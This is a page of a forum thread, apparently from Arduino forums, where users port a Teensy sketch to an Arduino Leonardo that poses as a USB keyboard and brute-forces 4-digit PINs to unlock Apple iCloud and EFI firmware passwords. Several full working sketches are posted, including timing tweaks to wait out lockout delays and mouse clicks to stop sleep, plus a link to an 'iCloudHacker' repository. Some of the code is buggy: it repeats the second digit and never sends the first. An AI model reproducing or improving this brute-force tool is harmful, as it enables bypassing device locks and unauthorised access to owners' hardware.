Pages: 1 [2]   Go Down
Author Topic: Translate Teensy Code into Arduino Uno R3 or Leonardo  (Read 7605 times)
0 Members and 2 Guests are viewing this topic.
Offline Offline
Newbie
*
Karma: 0
Posts: 1
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

I change some code and i make it work with a LEONARDO on icloud and notepad but dont work in efi. seems like virtual keyboard is not detected.
sorry for my bad english smiley-sad

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(KEY_RETURN);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
Logged

Offline Offline
Newbie
*
Karma: 0
Posts: 1
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Dear evasoft,

I'm very happy to find your code.
Until now I used the Teensy 3.0 with succes for EFi and iCloud Pin...successfull means, that the code works, but until now I havn't find the code smiley-sad

You're right, your code works finde with iCloud but not with EFi...

Did you try to install usbkeyboard and usbmouse function?

must be something like this: http://www.elektronik-labor.de/Arduino/KeyboardSerialDe.zip

#include "usToDE.h
#include <usb_keyboard.h
#include <usb_mouse.h

Can you install in your code/script working the Leonardo with a display hd48770 or 1602A?
Logged

Offline Offline
Newbie
*
Karma: 0
Posts: 3
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi guys,

Just picked up my Leonardo today and exactly the same issue: Textedit and iCloud no probs but the EFI... nothing! smiley-sad

Any advancements on this?

Many thanks
Logged

Offline Offline
Newbie
*
Karma: 0
Posts: 3
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hey all,

Just wanted to update you on some results from using the Leonardo for brute force unlocking of the iCloud passcode... well I had to play around with the code a little offered by orvtech. They provided the code which is designed for Teensy boards as follows:

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  }
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}

So in order for this to work for Arduino, you have to modify the code a little by removing
 
Code:
  keyboard_modifier_keys = 0;

and modifying KEY_ENTER to KEY_RETURN

Code:
Keyboard.press(KEY_RETURN);
    delay(305);
    Keyboard.release(RETURN);

Once inserted into the Leonardo all was working well until the screen went into power save mode. It would throw off the counter sequence due, I believe, to the delay of bringing the screen live again.

To overcome this I introduced a 'mouse click' command just to get the screen live again which did the job just fine:

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
  Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  }
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    Mouse.click();
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_RETURN);
    delay(305);
    Keyboard.release(KEY_RETURN);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}

Now a word of warning!
Make sure you keep your MacBook powered up at all times. My beloved wife... used the charger for her own MacBook but subsequently forgot to plug mine back in and the laptop died during the brute force hack. Now I am having to deal with a corrupted hard drive of which I have no backup for... its a good job divorce is not allowed in the Philippines!

I've tried taking a fresh hard drive with OSX installed but the MacBook won't boot from it (classic flashing question mark folder). I guess this is another Apple security measure in that the EFI is looking for a specific hard drive. I'd like to try brute forcing the EFI Password but still having the same problem where the MacBook does not appear to recognise the Leonardo HID.

If anyone has an ideas how I can get over this one then I'm all ears...
Logged

Offline Offline
Newbie
*
Karma: 0
Posts: 3
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

**Bump**

Anybody? To date, still found no resolve myself... smiley-cry
Logged

Offline Offline
Newbie
*
Karma: 0
Posts: 1
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Tried your code with my Arduino Leonard and it started off well, but eventually stopped guessing and computer went to sleep.. Is buying a teensy the only solution? or can anyone else translate this code to Arduino?

https://github.com/knoy/iCloudHacker/blob/master/iCloudHacker.ino

This has worked for many people.
Logged

Pages: 1 [2]   Go Up
Jump to: